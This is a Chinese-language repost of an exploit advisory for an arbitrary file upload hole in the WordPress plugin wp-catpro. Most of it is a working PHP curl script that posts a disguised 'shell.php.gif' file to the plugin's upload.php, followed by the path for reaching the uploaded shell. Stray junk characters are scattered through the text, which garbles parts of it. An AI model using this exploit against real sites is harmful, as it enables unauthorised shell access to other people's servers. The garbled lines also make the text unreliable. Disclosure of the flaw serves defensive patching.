WordPress插件wp-catpro任意文件上传

admin

Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability
" |: i# E% d3 V#-----------------------------------------------------------------------
6 M2 J! J4 F& \$ C! f' e8 Z
作者  => Zikou-16
邮箱 => zikou16x@gmail.com
测试系统 : Windows 7 , Backtrack 5r3
% `" {. @: O& x$ ]下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip
9 s/ C3 p8 i+ Y+ q####

#=> Exploit 信息:
------------------
# 攻击者可以上传 file/shell.php.gif
# ("jpg", "gif", "png")  // Allowed file extensions
, s# \2 f8 C: x+ Z# "/uploads/";  // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)
# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)
$ `$ [' J# M: q+ `+ @, H( C. L------------------
& l: O; `4 W; U/ }- t; M
9 T' W0 d3 p" q0 K& ~#=> Exploit
-----------
. {* h# U; `$ p* ]7 `9 X<?php
' v, P( f0 B$ P; n& f
, e9 {4 T6 s* n+ t8 x" |$uploadfile="zik.php.gif";
$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
array('Filedata'=>"@$uploadfile",
'folder'=>'/wp-content/uploads/catpro/'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
; J! g; i& a4 ~7 A$ \8 jcurl_close($ch);

+ F8 Q! O: D  L' N( Oprint "$postResult";
& X/ Y' f% X# m, n
Shell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif
  ?>
) E2 s$ J" Y! A( j<?php
phpinfo();
4 K' V$ e9 T# F& H?>